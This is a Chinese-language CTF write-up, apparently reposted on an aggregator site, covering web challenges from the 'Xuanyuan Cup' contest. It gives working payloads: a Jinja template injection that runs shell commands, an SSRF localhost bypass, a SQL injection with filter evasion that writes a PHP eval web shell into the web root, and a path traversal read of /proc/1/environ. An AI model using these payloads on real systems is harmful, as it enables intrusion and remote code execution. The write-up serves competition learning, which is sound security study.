当前位置: 首页 > article >正文

“轩辕杯“云盾砺剑 CTF挑战赛web方向题解

目录

ezjs

签到

ezssrf1.0

ezflask

ezrce

ezsql1.0

ezweb


ezjs

看到这个,直接访问getflag.php,POS提交score =100000000000

签到

6个小模块,我直接放bp的结果

1

2

3

4

5

6

ezssrf1.0

?url=http:@127.0.1/FFFFF11111AAAAAggggg.php也可以

ezflask

emmmm,我是用fenqing一把嗦的

{{((joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('o''s'))['p''open']('CAT /FLAG'|lower))['read']()}}

ezrce

难点就是如何绕过这个waf

这题可以用时readgzfile

该函数用于输出一个 .gz 文件的内容

但是对于非 gzip 格式的文件,直接读取内容

这里还有一种解法:

我们可以用\符号开头,它不会影响函数的运行

ezsql1.0

outfile

into outfile '/var/www/html/1.php' - 这是SQL的文件写入操作,将查询结果写入到服务器的 /var/www/html/1.php 文件中

fuzz一波,ban了空格,select会被替换成空

空格的话这里%09和/**/都可以绕过

这里是发现有写入的权限

payload:

?id=-1%09union%09seselectlect%091,%27%3C?=eval($_POST[1]);?%3E%27,3%09into%09outfile%09%27/var/www/html/1.php%27#

访问:

直接蚁剑连接:

在/var/db.sql这里找到flag的base64编码后的值

解码即可

ezweb

这题还没有完全掌握,思路是借鉴其他师傅的

账号为fly233

密码是123456789

这里发现有个参数,那就不急着文件上传

发现可以目录便利:

最后在/proc/1/environ找到flag

http://www.lryc.cn/news/2383897.html

相关文章:

  • 常用UI自动化测试框架
  • 场景化应用实战系列六:检索问答系统
  • 选择合适的AI模型:解析Trae编辑器中的多款模型及其应用场景
  • 已经 上线 Vue 项目 国际化 i18n 中译英
  • RISC-V 开发板 MUSE Pi Pro Gstreamer 编码UVC及MIPI CSI摄像头视频流
  • Android 直播播放器FFmpeg静态库编译实战指南(NDK r21b)
  • 【RA-Eco-RA2L1-48PIN】ADC 电压表
  • Oracle 数据文件被删除后使用rman备份恢复过程
  • KS107BG型超声体模的结构及性能
  • visual studio重新安装如何修改共享组件、工具和SDK路径方案
  • 目标检测评估指标mAP详解:原理与代码
  • 【风控】模型算法区分度指标KS
  • 道可云人工智能每日资讯|浙江省人民政府印发《关于支持人工智能创新发展的若干措施》
  • win11下jenkins+docker+maven自动部署springboot项目
  • 密码学标准(Cryptography Standards)介绍
  • 2 卡尔曼滤波
  • 《决策科学与艺术》No1: 决策树:概念、原理、发展历史、特点及应用
  • 手机合集(不定期更新)
  • 掌握正则表达式:从基础语法到工程实践
  • Prometheus 基础入门文档
  • 【数据分析】什么是特征蒸馏?
  • 【苍穹外卖】Day01—Mac前端环境搭建
  • Apollo10.0学习——planning模块(9)之参数详解一
  • Python-多进程编程 (multiprocessing 模块)
  • GraphQL在.NET 8中的全面实践指南
  • 在mobaxterm下面执行shell脚本报错
  • 系统集成项目管理工程师学习笔记之启动过程组
  • OceanBase数据库全面指南(数据操作篇DML)
  • 深入解析AI中的Prompt工程:从理论到实践
  • 软考中级软件设计师——设计模式篇